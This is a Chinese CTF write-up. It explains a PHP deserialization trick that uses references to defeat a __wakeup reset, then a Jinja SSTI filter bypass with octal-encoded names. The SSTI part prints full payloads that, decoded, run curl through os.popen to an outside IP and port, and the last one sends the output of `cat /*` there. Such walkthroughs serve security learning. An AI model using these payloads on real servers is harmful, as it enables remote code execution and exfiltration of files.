建议参考jacko神:https://www.wolai.com/7MymbpgzhHWMdAoh2Ycb89
这个题很快发现cookie处可以反序列化,但是也很快发现没啥可以rce
当时想的是反序列化原生类,但是很快想起实现不了
最后看了jacko神的wP,原来是composer.json
| { |
| |
| "require": { |
| "fakerphp/faker": "^1.19", |
| "opis/closure": "^3.6" |
| } |
| } |
有个闭包和fakerphp/faker
题目不太可能让我们直接挖fakerphp/faker+opis/closure的0day(可以看到是最新版),然后又想到开篇给了我们一个类,所以这个类就是入口!有这个类以后,后面就可以pop
很敏感的得到echo "User ".$this->instance->_username." has created.";是入口,因为其他都是$this->某某,在没有触发__toString
和__call
的可能下,长度不够,我没法塞一个新的类上去,所以只能找$this->instance->_username
,他有可能触发get方法
后面复现可以直接看jacko神的wp,但是有个里面点很容易看不懂,我们讲一下——引用
example
| class a |
| { |
| public $key; |
| public function __construct() |
| { |
| $this->key = new b(); |
| echo "A is constructed! "; |
| echo "<hr>"; |
| } |
| public function __wakeup(){ |
| echo "a unserialize! "; |
| } |
| } |
| |
| class b{ |
| public $eval; |
| public function __construct() |
| { |
| echo "B is contructed! "; |
| } |
| public function __wakeup(){ |
| if($this->eval != "secure") |
| $this->eval = "secure"; |
| echo "b unserialize! "; |
| } |
| } |
这个时候你new a();的话,可以看到先new的B再new的A
而如果你序列化后反序列化的话
| $class1 = new a(); |
| echo serialize($class1); |
| //O:1:"a":1:{s:3:"key";O:1:"b":0:{}} |
| |
| unserialize('O:1:"a":1:{s:3:"key";O:1:"b":0:{}}'); |
反序列化之后,马上可以看到还是先触发的B的wakeup,再触发A的wakeup,也是先B后A
我们都知道有这个wakeup限制的化,我给B->eval提前赋值是无效的,都会变成"secure"。这里有个漏洞,就是假如我B->eval=&某某类的属性。那么这个某某类的属性和B->eval的确会被变成"secure",但是刚刚说了先B后A,若 某某类的属性
如果是A的属性的话,由于A还没被new出来,那么后面我们如果在new A的过程中会改变A的属性,就可以同时改变B->eval
demo
| <?php |
| class a |
| { |
| public $key; |
| public $apple; |
| public function __construct() |
| { |
| $this->key = new b(); |
| echo "A is constructed! "; |
| echo "<hr>"; |
| } |
| public function __wakeup(){ |
| echo "a unserialize! "; |
| |
| echo "<hr>"; |
| echo $this->key->eval; |
| } |
| } |
| |
| class b{ |
| public $eval; |
| public function __construct() |
| { |
| echo "B is contructed! "; |
| } |
| public function __wakeup(){ |
| if($this->eval != "secure") |
| $this->eval = "secure"; |
| echo "b unserialize! "; |
| } |
| } |
但是如果我们让a的wakeup变成这样
| public function __wakeup(){ |
| echo "a unserialize! "; |
| $this->apple = "Hacked!"; |
| echo "<hr>"; |
| echo $this->key->eval; |
| } |
然后
| $class1 = new a(); |
| |
| $class1->key->eval = &$class1->apple; |
| echo serialize($class1); |
接着把结果反序列化的话
demo
| <?php |
| class a |
| { |
| public $key; |
| public $apple; |
| public function __construct() |
| { |
| $this->key = new b(); |
| echo "A is constructed! "; |
| echo "<hr>"; |
| } |
| public function __wakeup(){ |
| echo "a unserialize! "; |
| $this->apple = "Hacked!"; |
| echo "<hr>"; |
| echo $this->key->eval; |
| } |
| } |
| |
| class b{ |
| public $eval; |
| public function __construct() |
| { |
| echo "B is contructed! "; |
| } |
| public function __wakeup(){ |
| if($this->eval != "secure") |
| $this->eval = "secure"; |
| echo "b unserialize! "; |
| } |
| } |
| |
| |
| |
| $class1 = new a(); |
| |
| $class1->key->eval = &$class1->apple; |
| echo serialize($class1); |
| |
| |
| |
| unserialize('O:1:"a":2:{s:3:"key";O:1:"b":1:{s:4:"eval";N;}s:5:"apple";R:3;}'); |
有个易混淆的点就是
| $class1 = new a(); |
| |
| |
| $class1->key->eval = &$class1->apple; |
| echo serialize($class1); |
这个值必须在
| public function __wakeup(){ |
| echo "a unserialize! "; |
| $this->apple = "Hacked!"; |
| |
| echo "<hr>"; |
| echo $this->key->eval; |
| } |
发现post数据会有回显,一般这种情况就尝试有无ssti和xss,
当尝试{{}}时,会被过滤
当
| nickname={%25if(1==2)%25}1{%25endif%25} |
的时候呢,1==1可以回显1,1==2不会回显,证明可以ssti
有一条payload
| thai.__init__.__globals__.__builtins__.__import__('os').popen('whoami').read() |
但是点,单引号被过滤,下划线被过滤
点用attr代替,单引号用双引号代替,下划线用编码绕过
转八进制绕过,脚本如下
| strr = "__init__" |
| flag = "" |
| for a in strr: |
| |
| flag = flag + '/'+str(oct(ord(a)))[2:] |
| |
| print(flag) |
直接使用.__import__('os').popen('whoami').read()
并不会回显,返回Exception,这里直接反弹shell
一开始尝试bash,发现好像没用,尝试curl,有回显的
payload
| nickname={%25if(thai|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\137\137\142\165\151\154\164\151\156\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\145\166\141\154")("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\143\165\162\154\40\150\164\164\160\72\57\57\70\56\61\62\71\56\64\62\56\61\64\60\72\63\63\60\67\47\51\56\162\145\141\144\50\51"))%25}1{%25endif%25} |
之后就可以轻松使用反引号cat /flag了
| nickname={%25if(thai|attr("\137\137\151\156\151\164\137\137")|attr("\137\137\147\154\157\142\141\154\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\137\137\142\165\151\154\164\151\156\163\137\137")|attr("\137\137\147\145\164\151\164\145\155\137\137")("\145\166\141\154")("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\143\165\162\154\40\150\164\164\160\72\57\57\70\56\61\62\71\56\64\62\56\61\64\60\72\63\63\60\67\77\143\155\144\75\140\143\141\164\40\57\52\140\47\51\56\162\145\141\144\50\51"))%25}1{%25endif%25} |